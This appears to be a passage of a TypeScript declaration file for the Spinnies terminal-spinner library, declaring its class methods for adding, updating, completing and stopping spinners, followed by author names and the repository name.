  export default class Spinnies {
    /**
     * The current configuration of this Spinnies object.
     */
    options: Spinnies.Options;

    constructor(options?: Partial<Spinnies.Options>);

    /**
     * Add a new spinner with the given name.
     *
     * @returns full `SpinnerOptions` object for the given spinner, with
     * defaults applied
     */
    add: (name: string, options?: Partial<Spinnies.SpinnerOptions>) => Spinnies.SpinnerOptions;

    /**
     * Get spinner by name.
     *
     * @returns full `SpinnerOptions` object for the given spinner, with
     * defaults applied
     */
    pick: (name: string) => Spinnies.SpinnerOptions;

    /**
     * Remove spinner with name.
     *
     * @returns full `SpinnerOptions` object for the given spinner, with
     * defaults applied
     */
    remove: (name: string) => Spinnies.SpinnerOptions;

    /**
     * Updates the spinner with name name with the provided options. Retains
     * the value of options that aren't specified.
     *
     * @returns full `SpinnerOptions` object for the given spinner, with
     * defaults applied
     */
    update: (name: string, options?: Partial<Spinnies.SpinnerOptions>) => Spinnies.SpinnerOptions;

    /**
     * Sets the specified spinner status as succeed.
     *
     * @returns full `SpinnerOptions` object for the given spinner, with
     * defaults applied
     */
    succeed: (name: string, options?: Partial<Spinnies.SpinnerOptions>) => Spinnies.SpinnerOptions;

    /**
     * Sets the specified spinner status as fail.
     *
     * @returns full `SpinnerOptions` object for the given spinner, with
     * defaults applied
     */
    fail: (name: string, options?: Partial<Spinnies.SpinnerOptions>) => Spinnies.SpinnerOptions;

    /**
     * Stops the spinners and sets the non-succeeded and non-failed ones to the provided status.
     *
     * @returns an object that maps spinner names to final `SpinnerOptions` objects for each spinner, with
     * defaults applied
     */
    stopAll: (status?: Spinnies.StopAllStatus) => { [name: string]: Spinnies.SpinnerOptions };

    /**
     * @returns false if all spinners have succeeded, failed or have been stopped
     */
    hasActiveSpinners: () => boolean;

    /**
     * Disables the spinner loop after all spinners have deactivated. Must be
     * called after calling `remove` on the final spinner, otherwise the
     * spinner loop will prevent the process from exiting.
     */
    checkIfActiveSpinners: () => void;
  }
}

authors: benjamincburns cfanoulis devmondo reslear

repo: jcarpanelli/spinnies